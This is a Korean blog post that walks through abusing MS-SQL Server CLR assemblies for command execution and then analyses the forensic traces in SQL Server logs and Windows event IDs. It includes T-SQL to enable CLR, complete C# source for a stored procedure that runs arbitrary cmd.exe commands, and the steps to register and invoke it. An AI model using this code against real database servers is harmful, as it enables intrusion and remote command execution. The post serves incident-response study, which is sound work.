🗣️ Introduction
MS-SQL에서는 xp_cmdshell이라는 프로시저를 통해 Windows Command 명령을 수행할 수 있습니다. 하지만 보안상의 이유로 기본적으로 비활성화되어 있으며, xp_cmdshell을 통한 명령 실행의 경우에도 필터링 등으로 차단될 가능성이 높다.
SQL Server 2005 부터 Microsoft Windows .NET Framework 의 CLR(Common Language Runtime) 기능을 제공합니다. 이를 통해, NET Framework 언어로 작성된 코드를 SQL Server에서 실행할 수 있게되어 C# 또는 Visual Basic .NET과 같은 .NET Framework 언어로 작성된 함수, 프로시저, 데이터 형식 등을 SQL Server에서 직접 호출하여 사용할 수 있습니다. 이로 인해, CLR 기능을 사용하여 복잡한 계산을 수행하거나, 외부 데이터에 액세스하거나, 파일 시스템에 대한 작업을 수행할 수 있습니다.
하지만, 이러한 다양한 기능의 제공은 새로운 보안 위협이 되고 있으며, 공격자는 취약한 서버를 대상으로 더욱 은밀하게 공격을 수행할 수 있습니다.
👊 How to Attacking SQL Server CLR Assemblies?
ℹ️ Test environment
- OS : Windows Server 2019 Datacenter Build 17763
- SQL : Microsoft SQL Server 2022(Ver 16.0.1000.6)
- Tool :
- SQL Server Management Studio 19.0.20200.0
- Microsoft .NET Framework 4.0.30319.42000
🥇 Enable CLR
먼저 공격자는 외부에 공개된 데이터베이스를 대상으로 무작위 대입 공격을 통해 시스템 계정 또는 sysadmin 이상의 .권한을 가진 Database 계정의 탈취를 시도합니다. 계정 탈취에 성공한 경우, xp_cmdshell을 활성화하는 방식과 동일하게 clr enabled옵션을 통해 CLR을 활성화합니다.
--전역 구성 설정 확인
SP_CONFIGURE 'SHOW ADVANCED OPTIONS', 1
GO
-- CLR 활성
SP_CONFIGURE 'CLR ENABLED', 1
GO
-- 설정 반영
RECONFIGURE WITH OVERRIDE
GO
✍️Create DLL file
공격 수행에 앞서, 명령을 처리해줄 DLL을 생성해야합니다. .Net Framework 언어로 작성된 DLL은 모두 상관 없으며, 본 문서에서는 C#을 활용하여 CMD를 통해 명령을 실행하는 DLL을 생성합니다.
아래 코드는 cmd.exe를 통해 임의의 명령을 실행하는 DLL 코드입니다.
using System;
using System.Data;
using System.Data.SqlClient;
using System.Data.SqlTypes;
using Microsoft.SqlServer.Server;
using System.IO;
using System.Diagnostics;
using System.Text;
public partial class StoredProcedures
{
[Microsoft.SqlServer.Server.SqlProcedure]
public static void cmd_exec(SqlString execCommand)
{
Process proc = new Process();
proc.StartInfo.FileName = @"C:\\Windows\\System32\\cmd.exe";
proc.StartInfo.Arguments = string.Format(@" /C {0}", execCommand.Value);
proc.StartInfo.UseShellExecute = false;
proc.StartInfo.RedirectStandardOutput = true;
proc.Start();
// Create the record and specify the metadata for the columns.
SqlDataRecord record = new SqlDataRecord(new SqlMetaData("output", SqlDbType.NVarChar, 4000));
// Mark the beginning of the result set.
SqlContext.Pipe.SendResultsStart(record);
// Set values for each column in the row
record.SetString(0, proc.StandardOutput.ReadToEnd().ToString());
// Send the row back to the client.
SqlContext.Pipe.SendResultsRow(record);
// Mark the end of the result set.
SqlContext.Pipe.SendResultsEnd();
proc.WaitForExit();
proc.Close();
}
};
</aside>
💉 Import CLR DLL into SQL Server
먼저 SSMS(SQL Server Management Studio)를 통해 대상 데이터베이스 서버에 접근합니다.
이후, msdb 데이터베이스를 대상으로 앞서 컴파일한 DLL을 Import 합니다.
이때, 아래 [그림 4]를 참고하여, 권한을 "제한 없음"으로 설정하여 추가합니다.
추가 이후 위의 [그림 2]와 달리 shell이라는 어셈블리가 추가된 것을 확인할 수 있습니다.
🔪 Attack MS-SQL Server
먼저, 악성 어셈블리가 로드된 데이터베이스로 데이터베이스를 변경합니다.
--악성 어셈블리가 추가된 DB로 변경
use msdb;
이후 어셈블리 내 함수를 프로시저로 생성합니다.
-- 어셈블리 내 cmd_exec를 프로시저로 생성
CREATE PROCEDURE [dbo].[생성할 프로시저 명] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [어셈블리 명].[StoredProcedures].[어셈블리 내 함수 명];
GO
명령을 실행합니다.
cmd_exec 'whoami'
📖 Analyze CLR Attack
MS-SQL 서버에서 CLR(Common Language Runtime) 기능을 악용한 침해사고를 분석하려면, 윈도우 이벤트 로그 및 MSSQL 로그를 참조해야 합니다. 다음은 MS-SQL 서버에 대한 침해사고 분석시 도움이 될 수 있는 주요 로그들과 그 역할입니다.
- SQL Server Error Log
SQL Server 오류 로그는 SQL Server 구성 요소의 정보, 경고 및 오류 메시지를 기록합니다. CLR과 관련된 오류 메시지를 찾아, CLR 기능이 악용되었는지 확인할 수 있습니다. - SQL Server Audit Log
SQL Server 감사 로그는 SQL Server 인스턴스에 대한 데이터 액세스 및 데이터 변경을 추적합니다. CLR 기능 악용에 관련된 쿼리 또는 이벤트를 찾을 수 있습니다. 사용자가 CLR 어셈블리를 생성, 변경 또는 삭제하는 경우 감사 로그에서 이를 확인할 수 있습니다. - Windows Event Log
Windows 이벤트 로그는 SQL Server와 관련된 운영 체제 수준의 이벤트를 기록합니다. CLR 관련 오류, 경고 또는 정보 이벤트를 찾을 수 있습니다. 이벤트 로그를 사용하여 로그인 실패, 권한 변경 및 서버 수준의 구성 변경을 확인할 수도 있습니다. - SQL Server Profiler Trace
SQL Server Profiler를 사용하여 생성한 트레이스는 SQL Server에서 발생하는 이벤트에 대한 자세한 정보를 제공합니다. CLR 기능을 악용한 쿼리나 이벤트를 확인할 수 있습니다. 또한, 특정 사용자에 의한 CLR 관련 작업을 추적할 수도 있습니다. - Extended Events
SQL Server Extended Events는 세부적인 정보와 함께 서버에서 발생하는 이벤트를 수집하는 경량 로깅 시스템입니다. CLR 기능을 악용하는 데 사용된 쿼리, 이벤트 및 작업을 식별하고 분석할 수 있습니다.
⚠️ MS-SQL - Error Log
SQL Server ERROR LOG는 SQL Server 구성 요소의 정보, 경고 및 오류 메시지를 기록합니다.
따라서, 명령 호출 단계에서의 CLR과 관련된 Error Messages 또는 CLR 기능이 악용되었는지 확인할 수 있습니다. 아래는 SQL Server의 Error Log 에서 확인 가능한 부분은 어셈블리 추가 이후, 아래 명령을 통한 Procedure 생성 로그를 확인할 수 있었습니다.
아래는 ERRORLOG 내 프로시저 생성과 관련된 로그입니다.
2023-03-22 10:50:26.59 spid66 AppDomain 2 (msdb.dbo[runtime].1) created.
이후, 공격자가 생성한 프로시저를 활용하여 명령을 수행할 경우, 아래와 같은 로그를 확인할 수 있습니다. 이는 어셈블리 추가 당시, 권한 설정을 “제한 없음”으로 설정할 경우 MS-SQL은 안전하지 않은 어셈블리로 판단하여 기록되는 로그로 판단됩니다.
2023-03-22 11:02:30.37 spid52 Unsafe assembly 'mssql clr excute test, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil' loaded into appdomain 2 (msdb.dbo[runtime].1).
2023-03-22 11:02:30.38 spid52 Unsafe assembly 'mssql clr excute test, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil' loaded into appdomain 2 (msdb.dbo[runtime].1).
🏃 MSSQL - Trace Log
MS-SQL Server의**Trace Log**는 SQL Server 인스턴스에서 발생하는 이벤트 및 작업의 세부 정보를 기록하는 로그입니다. 이 로그는 SQL Server의 다양한 작업 및 이벤트, 예를 들어 새로운 연결, 쿼리 실행, 성능 카운터 정보, 오류 메시지 등을 기록합니다.
해당 로그에서는 어셈블리 등록시 확인할 수 있는 Trace Log이다. 아래 표의, ObjectName을 확인해보면 등록한 어셈블리 명을 확인할 수 있다.
또한, Trace Log에서 Procedure가 생성된 시각도 확인할 수 있습니다.
다만, 실행된 명령이나 흔적은 확인할 수 없었습니다.
그러나, “SQL Server Profiler”를 통해 Trace를 생성하여 확인하는 경우 입력한 명령어등을 확인할 수 있습니다.
🕢 Windows - EventLog
**Windows EventLog**는 Microsoft Windows 운영 체제에서 발생하는 시스템, 보안, 응용 프로그램 등과 관련된 다양한 이벤트와 정보를 기록하고 관리하는 로깅 시스템입니다. 이벤트 로그는 시스템 관리자나 IT 전문가들이 컴퓨터의 작동 상태를 모니터링하고, 문제를 진단하며, 보안 감사를 수행하는데 사용되는 중요한 로그입니다.
아래는 MS-SQL에서 CLR Store Procedutre를 통한 침해사고 발생 시 확인할 수 있는 이벤트 로그입니다.
Event ID : 5084- 데이터베이스 %3!에 대해 데이터베이스 옵션 %1!을(를) %2!(으)로 설정합니다.
해당 이벤트 로그는 특정 데이터베이스의 옵션을 변경할 때 발생합니다. 여기서 변경된 “TRUSTWORTHY” 속성은 SQL Server에서 사용되는 데이터베이스 설정 옵션입니다. 이 속성은 데이터베이스가 외부 리소스에 대한 액세스를 가질 때 시스템 리소스에 대한 높은 수준의 액세스 권한을 부여하는데 사용됩니다. 기본적으로 데이터베이스는TRUSTWORTHY 속성이 꺼져 있는 상태로 생성됩니다. 따라서, 공격자는 해당 옵션을 활성화하여 데이터베이스에 있는 코드 모듈(예: 저장 프로시저, 트리거, 사용자 정의 함수 등)이 높은 권한으로 실행되어 시스템 리소스에 액세스할 수 있게 됩니다.
Event ID : 6299 - AppDomain %1!(%2!)을(를) 작성했습니다.
해당 이벤트 로그에서는 CLR을 통해 실행할 수 있는 .NET Assembly가 추가된 경우 생성되는 이벤트입니다. 해당 이벤트를 통해 특정 시간에 .NET Assembly가 서버에 로드된 시점을 확인할 수 있습니다. 다만, 해당 .NET Assembly가 어떤 기능을 수행하는지에 대해서는 확인할 수 없습니다. 또한, AppDomain은 SQL Server에서 CLR(Common Language Runtime)을 호스팅하는 격리된 메모리 공간으로, SQL Server에서 .NET 어셈블리를 로드하고 실행하는데 사용되며, 다양한 어셈블리 간의 격리 및 보안을 제공합니다.
Event ID : 15457 - 구성 옵션 ‘%1’이(가) %2에서 %3(으)로 변경되었습니다. RECONFIGURE 문을 실행하여 설치하십시오.
이 이벤트 로그는 .NET Assembly를 로드하고 실행하기 전에 기본적으로 비활성화된 CLR을 활성화하는 경우에 발생합니다. 이 로그를 통해 CLR의 기존 활성화 상태(예: "%1"이 1이면 이미 활성화된 것으로 간주)를 확인할 수 있습니다. 공격자들은 종종 침투 후 이 옵션을 우선적으로 활성화하므로, 이 이벤트의 발생 시점을 최초 침투 시점으로 간주할 수 있습니다.
'공부 > Forensic' 카테고리의 다른 글
AnyDesk를 통한 침해사고 로그 분석 (0) | 2023.04.18 |
---|---|
아파치 모듈 백도어 기능 및 아티팩트 분석: Apache Mod_Backdoor operation method and Artifact analysis (0) | 2023.04.11 |
디지털 포렌식의 일반원칙(디지털 포렌식 5원칙) (0) | 2021.02.19 |
Digital Forensic / Incident Response (0) | 2021.01.21 |
OSINT(오신트) - Open Source INTelligence란? (0) | 2021.01.17 |